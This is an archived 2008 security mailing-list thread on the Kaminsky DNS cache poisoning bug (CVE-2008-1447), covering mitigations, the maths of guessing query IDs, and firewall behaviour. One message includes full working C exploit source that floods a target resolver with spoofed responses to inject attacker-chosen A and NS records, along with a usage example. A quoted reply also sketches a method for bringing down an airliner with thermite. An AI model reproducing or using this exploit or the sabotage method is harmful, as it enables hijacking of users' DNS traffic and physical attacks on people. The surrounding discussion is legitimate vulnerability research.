FA62226DA9E72FA8AECAA240008B480E157E98EE >> Hi! I'm your friendly neighbourhood signature virus. >> Copy me to your signature file and help me spread! From jpatterson at terremark.com Wed Jul 23 11:47:53 2008 From: jpatterson at terremark.com (Joseph Patterson) Date: Wed, 23 Jul 2008 11:47:53 -0400 Subject: [Dailydave] DNS Speculation Message-ID: <5BA9127B88DFD347AE9A8F1C05A6E08B02E8A067@exchange04.terremark.org> So, now I've taken a good hard look at what someone claims is a mirror of a post that may or may not explain the whole DNS issue. Based on that obviously perfectly reliable information, all I can say is "whee". Actually, no, that's not all I can say. First off, DNS is unreliable. Film at 11. Seriously. There are quite a few technologies in wide use whose primary purpose is to assure that the person Alice is talking to is, in fact, Bob. Whether Mallory is impersonating Bob by intercepting the connection, hijacking BGP, DNS cache poisoning, or whatever, it doesn't matter - things like SSL will not be fooled. No doubt, this is a clever attack. The quick fix is to randomize source ports for resolvers. That's actually pretty effective for this attack. The slow fix is pervasive DNSSEC, but there are serious issues there. I'd put even odds on it happening before pervasive IPSec (which would also fix the problem) But first, let's take a look at what Mallory will need in order to successfully attack, given the absence of port randomization, DNSSEC, or SSL. First, she's going to need to know Alice's resolver. That's not too hard to find out, but it is an extra step to go through. Next, she's going to have to somehow get a whole bunch of queries to go to that resolver. If it's a private resolver, that means getting Alice to perform a whole lot of queries. That can be done, but the timing is tricky. After that, (well, during that) she's going to have to send somewhere on the order of 35K spoofed DNS replies "from" Bob to Alice's resolver. That's loud. It will also fail miserably if there's any RPF between Mallory and the point near Alice where Mallory's traffic and Bob's traffic start going down the same pipe. So, there's a few steps, a loud attack, and it will fail if any of the following apply: 1. the DNS resolver already uses source port randomization (several do) 2. the DNS resolver is behind a firewall that does source port randomization for it (I know Cisco PIX/ASA does this by default and has for some time, probably others do as well) 3. There's RPF in the middle 4. the DNS resolver doesn't cache. That isn't all *that* uncommon. 5. DNSSEC is being used all the way up the chain (probably less common than non-caching resolvers) There are probably a few other ways in which the attack fails, but these are the ones I can think of off the top of my head. But if the attack succeeds, then Mallory has convinced Alice's computer that Bob's name points to Mallory's IP. This increases the vulnerability of a small niche: Those users who both look at and trust DNS while using services that don't implement strong authentication. Users who don't suspect that paypal's webserver might not be at http://0x7f000001/ aren't going to be at much greater risk because of this. Users who write down their bank's SSL certificate fingerprint and paste it by their monitor so they can check it every time they do their banking will not be at much greater risk because of this. It is something to be concerned about, it is something to patch sooner rather than later, but I'm not losing a whole lot of sleep over it, and if someone does manage to make a good solid automated packaging of the attack before patches are widely distributed I think the most likely result would be a truly epic rickrolling. That's my $.02. -Joe -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080723/99103031/attachment-0001.htm From krpatasec at gmail.com Wed Jul 23 11:08:58 2008 From: krpatasec at gmail.com (Tyler Krpata) Date: Wed, 23 Jul 2008 11:08:58 -0400 Subject: [Dailydave] DNS Speculation In-Reply-To: <4886864E.7050802@xs4all.nl> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <597760c90807220951g476171c5k4553258bfc697f9a@mail.gmail.com> <20080722165535.GA7159@dsl093-068-005.sfo1.dsl.speakeasy.net> <597760c90807221017l61c05810x9479c9ea2af3a9a6@mail.gmail.com> <4886864E.7050802@xs4all.nl> Message-ID: <9d3431d0807230808t7e0220fdi4b49c0a48e363968@mail.gmail.com> On Tue, Jul 22, 2008 at 9:15 PM, Petja van der Lek wrote: > > If it does, then this would obviously be an Extremely Bad thing, since > an attacker could just poison a resolver anytime, anyplace, anywhere. If > it doesn't overwrite the cached entry, I presume we'd have to scratch > the "anytime" from that list, and the attacker would have to wait until > the entry expires. Assuming that domain names worth spoofing would be > the more heavily trafficked ones -- and therefore likely to be present > in a resolver's cache already -- this would leave a rather small window > of opportunity every 24 hours or so (or whatever the TTL of the to-be > spoofed entry is set at). > More to the point, if my math is right (and it may not be), if the spoofed glue record DOES overwrite the entry in cache, then source port randomization doesn't actually fix the problem. It just changes the time scale for success from seconds to potentially days. I haven't found a definitive answer on this yet either. Hopefully I will get some time to test it soon. From n0b0dyn1nj4 at gmail.com Wed Jul 23 19:26:19 2008 From: n0b0dyn1nj4 at gmail.com (ninjaboy) Date: Thu, 24 Jul 2008 01:26:19 +0200 Subject: [Dailydave] DNS Speculation In-Reply-To: <1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> Message-ID: 2008/7/23 Cedric Blancher : > Le mardi 22 juillet 2008 ? 02:42 -0700, Alexander Sotirov a ?crit : >> Spoofing a A record: >> Right before step 7, the attacker sends a spoofed response from ns.google.com >> that includes an A record for www.google.com and points it to 1.2.3.4 (which is >> an attacker controlled name server). If the attacker does not win the race, >> they just try again with 1235.google.com and so on. > > And, what about spoofing 1234.google.com as described everywhere and add > an Authority RR stating that NS record for google.com is > ns.malicious.net, and an Additional one giving A record for > ns.malicious.net ? > > According to RFC 2181, section 5.4.1, authority data from an > authoritative answer have a better priority than the ones from a > non-authoritative one. When ns.isp.com is getting NS record from .com > (step 5), it is done through a non-authoritative answer. Therefore, our > successful spoofed answer should update google.com NS record(s) in > ns.isp.com cache > http://www.caughq.org/exploits/CAU-EX-2008-0002.txt -- noone is alone. From blancher at cartel-securite.fr Thu Jul 24 00:26:44 2008 From: blancher at cartel-securite.fr (Cedric Blancher) Date: Thu, 24 Jul 2008 06:26:44 +0200 Subject: [Dailydave] DNS Speculation In-Reply-To: References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> Message-ID: <1216873604.9110.52.camel@anduril.intranet.cartel-securite.net> Le jeudi 24 juillet 2008 ? 01:26 +0200, ninjaboy a ?crit : > http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Not what I am talking about. Adding pwned.doxpara.com to a cache is fun, but not that interesting after all. I am talking about overwriting domain NS record into targeted cache. It is now implemented there: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt -- http://sid.rstack.org/ PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE >> Hi! I'm your friendly neighbourhood signature virus. >> Copy me to your signature file and help me spread! From alex at sotirov.net Thu Jul 24 00:17:31 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Wed, 23 Jul 2008 21:17:31 -0700 Subject: [Dailydave] Speculation In-Reply-To: <20080723020523.5F39933C53@absinthe.tinho.net> References: <003101c8e8ab$edbbd220$c9337660$@com> <20080723020523.5F39933C53@absinthe.tinho.net> Message-ID: <20080724041731.GA23367@dsl093-068-005.sfo1.dsl.speakeasy.net> On Tue, Jul 22, 2008 at 10:05:23PM -0400, dan at geer.org wrote: > mmaiffret at inveniosecurity.com writes > -+--------------------------------- > | Really it is a sad reminder that the current state of > | the art when it comes to security and the resiliency > | of our systems has a lot to do with making sure the > | good guys only talk about things behind closed doors > | while hoping that bad guys don't figure things out > | before we can patch. > | > > Two thoughts, one an example of something that > could easily be done and would cause havoc hence, > arguably, I should not write it here; the other > an observation about the constraint space in which > we live. > > (1) Some of you will have craftier ideas, but here's > how to take a plane out of the sky, assuming you are > willing to suicidily go with it... Fill an aluminum > walking cane with thermite, put a magnesium strip > in your wallet, and a book of matches in your undies. > Take whatever flight has the longest transoceanic > segment with no place to land and, at the halfway > point, go in the bathroom and light off your cane. > It will burn through the floor and depressurize the > plane forcing a descent to perhaps 8,000 feet where > fuel efficiency falls so low that there will be no > place to make land but plenty of time to radio a > mayday to the world press. I have no idea what this has to do with Marc's email to which you're responding, but I'll play: What is the fuel efficiency of a plane at 8000 feet? It is really low enough to make this attack possible? ETOPS might be of interest: http://en.wikipedia.org/wiki/ETOPS http://gc.kls2.com/faq.html#$etops Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080723/34d5818a/attachment.pgp From thaidn at gmail.com Thu Jul 24 13:33:30 2008 From: thaidn at gmail.com (Thai Duong) Date: Fri, 25 Jul 2008 00:33:30 +0700 Subject: [Dailydave] Hindsight analysis of the infamous DNS bug Message-ID: If you read Dan Kaminsky's researchs over the past few years, you'd probably that Dan know many DNS tricks. One of these is the CNAME trick that Dan mentioned in the Wired interview. He has talked about this trick back to 2007as below: 1. CNAME Records: DNS Aliases - Instead of returning an address, return what the "Canonical", or Official Name was, and then the address of that Canonical Name - If you are allowed to be the resolver for that canonical name, your additional record overrides whatever's already in the cache, even if the TTL hasn't expired yet * It's not a bug. * Works against most, but not actually all name servers 2. Demo $ dig 1.foo.notmallory.com ;; ANSWER SECTION: 1.foo.notmallory.com. 120 IN CNAME bar.foo.notmallory.com bar.foo.notmallory.com. 120 IN A 10.0.0.0 $ dig bar.foo.notmallory.com bar.foo.notmallory.com. 111 IN A 10.0.0.0 $ dig 2.foo.notmallory.com 2.foo.notmallory.com. 120 IN CNAME bar.foo.notmallory.com. bar.foo.notmallory.com. 120 IN A 10.0.0.1 $ dig bar.foo.notmallory.com bar.foo.notmallory.com. 118 IN A 10.0.0.1 As you can see, this trick, Dan called it "CNiping", can be used to overwrite whatever is www.yourwebsite.com. I guess when Dan talked to Paul Vixie, Paul told him that not only CNAME can be used to overwrite cached data but also NS, and probably other type of RRs as well. This is not new. RFC3833 has told us about this DNS *feature* for years. Okie so now, we have some ways to overwrite cached data in a DNS resolver, the remained problem is how to force it to accept our packet. And you probably know this already, so I don't repeat here. The rest of this post to to emphasize on how easy to guess the QID if we have a fast Internet connection. Much of the following part is derived from this study ( http://www.faqs.org/ftp/internet-drafts/draft-hubert-dns-anti-spoofing-00.txt ). Assume the following symbols are used: I: Number distinct IDs available (maximum 65536) P: Number of ports used (maximum around 64000, but often 1) N: Number of authoritative nameservers for a domain (averages around 2.5) F: Number of 'fake' packets sent by the attacker R: Number of packets sent per second by the attacker W: Window of opportunity, in seconds. Bounded by the response time of the authoritative servers (often 0.1s) D: Average number of identical outstanding questions of a resolver (typically 1, see Section 5) A: Number of attempts, one for each window of opportunity The probability of spoofing a resolver is equal to amount of fake packets that arrive within the window of opportunity, divided by the size of the problem space. When the resolver has 'D' multiple identical outstanding questions, each fake packet has a proportionally higher chance of matching any of these questions. This assumption only holds for small values of 'D'. In symbols, if the probability of being spoofed is denoted as P_s: P_s = D*F/N*P*I It is more useful to reason not in terms of aggregate packets but to convert to packet rate, which can easily be converted to bandwidth if needed. If the Window of opportunity length is 'W' and the attacker can send 'R' packets per second, the number of fake packets 'F' that are candidates to be accepted is: F= R * W ---> P_s = D*R*W/N*P*I To calculate the combined chance of at least one success, the following formula holds: P_cs = 1 - (1 - P_s)^A = 1 - (1 - D*R*W/N*P*I)^A When common numbers (as listed above) for D, W, N, P and I are inserted, this formula reduces to: P_cs = 1 - (1 -R/1638400)^A The different between this attack and the one described in the original study ( http://www.faqs.org/ftp/internet-drafts/draft-hubert-dns-anti-spoofing-00.txt) is in the number A. In the original study, A = T/TTL, where T is the time taken to successful poison target resolvers, and TTL is the number of seconds when the target hostname expires. In other words, each time we fail to poison, we must have to wait for TTL second before trying again. In this case, A = N, which is the number of queries we send to target resolvers. This is because we don't have to wait any second even if we fail to poison in all previous attempts. Remember the CNAME trick above? So all you must do now is to increase R and A. Suppose for each query, you send F = 30 fake responses to target resolvers in W = 0.1, hence your bandwidth should be R = F/W = 300 packet/s. If A = 4000, then you stand a 51% chance to be sucessful! It's that easy. If you use Metasploit, you can use the following formula to calculate your probability: P_cs = 1 - (1 - xids/2^16)^A where xids is the number of fake responses you want to send for each query. Remember to consider your bandwidth capacity when choosing xids. If you choose the default value, i.e. xids=10, then you can expect to poison successful after A>4000. One final note: this attack is not a birthday attack. because we only have one opening query to guess its QID. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080725/f964f944/attachment.htm From richard.macvarish at eds.com Thu Jul 24 11:00:55 2008 From: richard.macvarish at eds.com (Macvarish, Richard C) Date: Thu, 24 Jul 2008 11:00:55 -0400 Subject: [Dailydave] DNS Speculation In-Reply-To: References: <488447AB.1070901@gmx.de><20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net><1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> Message-ID: For those that don't follow IETF drafts here is a forgery resilience DNS extension draft that's been on Standards Track since Jan 2007. It may look familiar... http://tools.ietf.org/wg/dnsext/draft-ietf-dnsext-forgery-resilience/ Regards, Rich From jpatterson at terremark.com Wed Jul 23 23:02:17 2008 From: jpatterson at terremark.com (Joseph Patterson) Date: Wed, 23 Jul 2008 23:02:17 -0400 Subject: [Dailydave] DNS Speculation In-Reply-To: <831b40be0807231719h11671f84jebddd745671c59da@mail.gmail.com> References: <5BA9127B88DFD347AE9A8F1C05A6E08B02E8A067@exchange04.terremark.org> <831b40be0807231719h11671f84jebddd745671c59da@mail.gmail.com> Message-ID: <5BA9127B88DFD347AE9A8F1C05A6E08B02E8A40E@exchange04.terremark.org> ________________________________ From: Jeff Jarmoc [mailto:jeff at jarmoc.com] Sent: Wednesday, July 23, 2008 8:19 PM To: Joseph Patterson Subject: Re: [Dailydave] DNS Speculation Sorry if you're getting multiple message from me.. my email client is acting wonky. I think you're underestimating the impact of this pretty significantly. [Joseph Patterson] Quite possibly. Anyhow - "the DNS resolver is behind a firewall that does source port randomization for it (I know Cisco PIX/ASA does this by default and has for some time, probably others do as well)" That's flat out not true. Cisco doesn't have an option to randomize source ports either with DNS inspection, PAT, or any other feature. I've heard from Cisco that this is going to be included in ASA v8.0(4) due out real soon now.. [Joseph Patterson] I stand corrected. I swear that I read about the ASA doing that in version 7.x on this page: http://www.cisco.com/web/about/security/intelligence/dns-bcp.html just yesterday, but I was wrong on two counts... first because that page *doesn't* say that, and second because I didn't check it myself even though I had the capability (I just checked, and saw a whole bunch of identical source ports. Sigh.) In fact, not only that, but putting a patched server behind a firewall might make things worse. Cisco's PAT configuration will allocate ports, sequentially, for each connection it sees. Since there's very little outbound UDP traffic on most networks, this means that rapidly sending multiple DNS requests from a patched server will almost certainly result in an ASA sequentializing the once-random ports, if it goes through a PAT. With static routes you're somewhat safer, as there's no port modification so random source ports remain random. Checkpoint isn't much better. PATs (Hide NATs in Checkpoint parlance) do the same thing. However, Checkpoint does have a feature as part of it's DNS Application inspection called 'port scrambling' which allows you to scramble source ports of DNS requests... I've not tested it, but if it works as advertised it could provide a decent level of protection for both patched and unpatched servers. As for your points; 1. the DNS resolver already uses source port randomization (several do) 2. the DNS resolver is behind a firewall that does source port randomization for it (I know Cisco PIX/ASA does this by default and has for some time, probably others do as well) 3. There's RPF in the middle 4. the DNS resolver doesn't cache. That isn't all *that* uncommon. 5. DNSSEC is being used all the way up the chain (probably less common than non-caching resolvers) 1 - Several do *NOW* two weeks ago, the vast majority of servers used totally static, or static from time of instantiation, source ports. [Joseph Patterson] Once again, I stand corrected. I had looked briefly at bind's queryport-pool stuff, but on further inspection, that *isn't* particularly useful. 2 - Addressed above, also see; http://blogs.iss.net/archive/dnsnat.html 3 - RPF is really not all that common, and the further you get from the true source, the less likely it is to be effected. After all, I can do RPF on my border router, but if the whole internet is on one end, it's not going to be all that effective. If RPF hasn't been able to stop spoofed SPAM, it won't be able to stop spoofed DNS. [Joseph Patterson] Yeah, RPF isn't that common, and that's a shame... It's one of those things that would help out in a lot of places, but is hard to push for... endpoints don't get much good out of it for exactly the reason you say (although I still think they should do it to prevent spoofed packets from malware in their organization), and it's difficult to do in the core where there's much higher chances for asymmetric routing, so the best place for it is small ISP's, and possibly at the edge of some larger ones... and it's a hard sell there. 4 - Yah.. not very common and would likely degrade performance significantly if it were. [Joseph Patterson] I recall one place I worked where their entire organization used a single publicly available DNS server that did no caching. And yes, performance was a significant issue. Installing an internal resolver for them made a huge difference to almost everything. 5 - DNSSEC is really the only real proposal I see for a long term fix to this.. but it's just that - a proposal. Until we have a unified, internet-wide PKI system deployed in reality, DNSSEC is just a dream. It's got about as much likelihood of being widely deployed in the near future as IPv6.... [Joseph Patterson] yah. I like it, but it is a hard sell. Even the people evangelizing it start out with "here's a list of the problems you're going to have to live with... but it's still worth it!" -Joe -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080723/e10f7834/attachment-0001.htm From marc_bevand at rapid7.com Thu Jul 24 21:34:41 2008 From: marc_bevand at rapid7.com (marc_bevand at rapid7.com) Date: Thu, 24 Jul 2008 18:34:41 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: <1216873604.9110.52.camel@anduril.intranet.cartel-securite.net> References: <488447AB.1070901@gmx.de> <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> <1216812165.6117.27.camel@anduril.intranet.cartel-securite.net> <1216873604.9110.52.camel@anduril.intranet.cartel-securite.net> Message-ID: dailydave-bounces at lists.immunitysec.com wrote on 07/23/2008 09:26:44 PM: > > Not what I am talking about. Adding pwned.doxpara.com to a cache is fun, > but not that interesting after all. I am talking about overwriting > domain NS record into targeted cache. It is now implemented there: > > http://www.caughq.org/exploits/CAU-EX-2008-0003.txt It is cool to see a ruby implementation of the Kaminsky attack that is apparently fast enough... Yesterday I was working on a python implementation using scapy but the scapy.send() call was taking 1+ ms to execute because of lack of optimization: the way it is implemented, each send() fetches interface information via ioctl() calls, etc. So I rewrote the attack in C and was about to publish it when I noticed that Druid and HDM just released their metasploit module. I have not had the time to compare the 2 but in case anybody is interested, here it is: $ ./kaminsky-attack q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16 This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear in r.r.r.r's cache. The chance of successfully poisoning the resolver with this example (8192 attempts and 16 replies/attempt) is 86% (1-(1-16/65536)**8192). This example also requires a bandwidth of about 2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec * 8 bits/byte) and takes about 80 secs to complete (8192 attempts / 100 attempts/sec). Things could clearly be optimized, eg. by using label compression in the DNS packets (oh and don't comment on the quality of the code - it was rushed :P), but I am very interested to see how Kaminsky got it down to "10 secs on a fast Internet link" (does he mean 10+ Mbit/s, or is he using other more advanced tricks ?) -marc /* * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack * * Compilation: * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm * * Dependency: libdnet (aka libdumbnet-dev under Ubuntu) * * Author: marc.bevand at rapid7 dot com */ #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #define DNSF_RESPONSE (1<<15) #define DNSF_AUTHORITATIVE (1<<10) #define DNSF_REC_DESIRED (1<<8) #define DNSF_REC_AVAILABLE (1<<7) #define TYPE_A 0x1 #define TYPE_NS 0x2 #define CLASS_IN 0x1 struct dns_pkt { uint16_t txid; uint16_t flags; uint16_t nr_quest; uint16_t nr_ans; uint16_t nr_auth; uint16_t nr_add; } __attribute__ ((__packed__)); void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name) { unsigned bufi, i, j; bufi = i = j = 0; while (name[i]) { if (name[i] == '.') { if (bufi + 1 + (i - j) > size) fprintf(stderr, "format_domain overflow\n"), exit(1); buf[bufi++] = i - j; memcpy(buf + bufi, name + j, i - j); bufi += i - j; j = i + 1; } i++; } if (bufi + 1 + 2 + 2 > size) fprintf(stderr, "format_domain overflow\n"), exit(1); buf[bufi++] = 0; *len = bufi; } void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class) { uint16_t tmp; // name format_domain(buf, size, len, name); // type tmp = htons(type); memcpy(buf + *len, &tmp, sizeof (tmp)); *len += sizeof (tmp); // class tmp = htons(class); memcpy(buf + *len, &tmp, sizeof (tmp)); *len += sizeof (tmp); } void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data) { format_qr(buf, size, len, name, type, class); // ttl ttl = htonl(ttl); memcpy(buf + *len, &ttl, sizeof (ttl)); *len += sizeof (ttl); // data length + data uint16_t dlen; struct addr addr; switch (type) { case TYPE_A: dlen = sizeof (addr.addr_ip); break; case TYPE_NS: dlen = strlen(data) + 1; break; default: fprintf(stderr, "format_rr: unknown type %02x", type); exit(1); } dlen = htons(dlen); memcpy(buf + *len, &dlen, sizeof (dlen)); *len += sizeof (dlen); // data unsigned len2; switch (type) { case TYPE_A: if (addr_aton(data, &addr) < 0) fprintf(stderr, "invalid destination IP: %s", data), exit(1); memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip)); *len += sizeof (addr.addr_ip); break; case TYPE_NS: format_domain(buf + *len, size - *len, &len2, data); *len += len2; break; default: fprintf(stderr, "format_rr: unknown type %02x", type); exit(1); } } void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name) { u_char *out = buf; struct dns_pkt p = { .txid = htons(txid), .flags = htons(flags), .nr_quest = htons(1), .nr_ans = htons(0), .nr_auth = htons(0), .nr_add = htons(0), }; u_char qr[256]; unsigned l; format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN); if (sizeof (p) + l > size) fprintf(stderr, "dns_query overflow"), exit(1); memcpy(out, &p, sizeof (p)); out += sizeof (p); memcpy(out, qr, l); out += l; *len = sizeof (p) + l; } void dns_response(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *q_name, const char *q_ip, const char *domain, const char *auth_name, const char *auth_ip) { u_char *out = buf; u_char *end = buf + size; u_char rec[256]; unsigned l_rec; uint32_t ttl = 24*3600; struct dns_pkt p = { .txid = htons(txid), .flags = htons(flags), .nr_quest = htons(1), .nr_ans = htons(1), .nr_auth = htons(1), .nr_add = htons(1), }; (void)domain; *len = 0; if (out + *len + sizeof (p) > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p); // queries format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; // answers format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN, ttl, q_ip); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; // authoritative nameservers format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN, ttl, auth_name); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; // additional records format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN, ttl, auth_ip); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; } unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name) { unsigned len = 0; // ip struct ip_hdr *ip = (struct ip_hdr *)buf; ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_id = rand() & 0xffff; ip->ip_off = 0; ip->ip_ttl = IP_TTL_MAX; ip->ip_p = 17; // udp ip->ip_sum = 0; struct addr addr; if (addr_aton(srcip, &addr) < 0) fprintf(stderr, "invalid source IP: %s", srcip), exit(1); ip->ip_src = addr.addr_ip; if (addr_aton(dstip, &addr) < 0) fprintf(stderr, "invalid destination IP: %s", dstip), exit(1); ip->ip_dst = addr.addr_ip; // udp struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN); udp->uh_sport = htons(1234); udp->uh_dport = htons(53); // dns dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN, (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len, rand(), DNSF_REC_DESIRED, name); // udp len len += UDP_HDR_LEN; udp->uh_ulen = htons(len); // ip len & cksum len += IP_HDR_LEN; ip->ip_len = htons(len); ip_checksum(buf, len); return len; } unsigned build_response(u_char *buf, const char *srcip, const char *dstip, uint16_t port_resolver, uint16_t txid, const char *q_name, const char *q_ip, const char *domain, const char *auth_name, const char *auth_ip) { unsigned len = 0; // ip struct ip_hdr *ip = (struct ip_hdr *)buf; ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_id = rand() & 0xffff; ip->ip_off = 0; ip->ip_ttl = IP_TTL_MAX; ip->ip_p = 17; // udp ip->ip_sum = 0; struct addr addr; if (addr_aton(srcip, &addr) < 0) fprintf(stderr, "invalid source IP: %s", srcip), exit(1); ip->ip_src = addr.addr_ip; if (addr_aton(dstip, &addr) < 0) fprintf(stderr, "invalid destination IP: %s", dstip), exit(1); ip->ip_dst = addr.addr_ip; // udp struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN); udp->uh_sport = htons(53); udp->uh_dport = htons(port_resolver); // dns dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN, (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len, txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE, q_name, q_ip, domain, auth_name, auth_ip); // udp len len += UDP_HDR_LEN; udp->uh_ulen = htons(len); // ip len & cksum len += IP_HDR_LEN; ip->ip_len = htons(len); ip_checksum(buf, len); return len; } void usage(char *name) { fprintf(stderr, "Usage: %s " " \n" " Source IP used when sending queries for random hostnames\n" " (typically your IP)\n" " Target DNS resolver to attack\n" " One of the authoritative DNS servers for \n" " Source port used by the resolver when forwarding queries\n" " Poison the cache with the A record .\n" " Domain name, see .\n" " IP of your choice to be associated to .\n" " Number of poisoning attemps, more attempts increase the\n" " chance of successful poisoning, but also the attack time\n" " Number of spoofed replies to send per attempt, more replies\n" " increase the chance of successful poisoning but, but also\n" " the rate of packet loss\n" "Example:\n" " $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n" "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n" "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n" "this example (8192 attempts and 16 replies/attempt) is 86%%\n" "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n" "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n" "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n" "100 attempts/sec).\n", name, name); } int main(int argc, char **argv) { if (argc != 10) usage(argv[0]), exit(1); const char *querier = argv[1]; const char *ip_resolver = argv[2]; const char *ip_authoritative = argv[3]; uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0); const char *subhost = argv[5]; const char *domain = argv[6]; const char *anyip = argv[7]; uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0); uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0); if (domain[strlen(domain) - 1 ] != '.') fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1); printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts)); srand(time(NULL)); int unique = rand() + (rand() << 16); u_char buf[IP_LEN_MAX]; unsigned len; char name[256]; char ns[256]; ip_t *iph; if ((iph = ip_open()) == NULL) err(1, "ip_open"); int cnt = 0; while (cnt < attempts) { // send a query for a random hostname snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain); len = build_query(buf, querier, ip_resolver, name); if (ip_send(iph, buf, len) != len) err(1, "ip_send"); // give the resolver enough time to forward the query and be in a state // where it waits for answers; sleeping 10ms here limits the number of // attempts to 100 per sec usleep(10000); // send spoofed replies, each reply contains: // - 1 query: query for the "random hostname" // - 1 answer: "random hostname" A 1.1.1.1 // - 1 authoritative nameserver: NS . // - 1 additional record: . A snprintf(ns, sizeof (ns), "%s.%s", subhost, domain); unsigned r; for (r = 0; r < replies; r++) { // use a txid that is just 'r': 0..(replies-1) len = build_response(buf, ip_authoritative, ip_resolver, port_resolver, r, name, "1.1.1.1", domain, ns, anyip); if (ip_send(iph, buf, len) != len) err(1, "ip_send"); } cnt++; } ip_close(iph); return 0; } From alex at sotirov.net Fri Jul 25 02:00:02 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Thu, 24 Jul 2008 23:00:02 -0700 Subject: [Dailydave] DNS "leak" Message-ID: <20080725060002.GA33032@dsl093-068-005.sfo1.dsl.speakeasy.net> Why are people (including Dan) referring to the Matasano post as a leak? Halvar got 95% of the attack right in his blog post. He figured out that: 1) sending an A records for ns.victim.com in the spoofed response will poison the cache 2) doing multiple queries for non-existant domains gives us an unlimited number of opportunities to spoof a response 3) using a different domain in each query avoids the problems with cached responses The only mistake in his attack is that he's sending queries for xxx.com instead of xxx.victim.com. It wouldn't have taken long for somebody who knows what 'in bailiwick' means to realize out that the fake ns.victim.com RR needs to be in a response for a .victim.com domain and then they'll have the full attack figured out. When 95% of the vulnerability are public information and remaining 5% are easy to guess, you have to treat the bug as public. How can Matasano leak something that's public? Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080724/600d07b9/attachment.pgp From dave at immunityinc.com Fri Jul 25 06:15:40 2008 From: dave at immunityinc.com (Dave Aitel) Date: Fri, 25 Jul 2008 06:15:40 -0400 Subject: [Dailydave] Holes, chips, dip. Message-ID: <4889A7CC.2030206@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Weird coincidence with that Quantas flight today re: Dan Geer's email. Also, has anyone looked 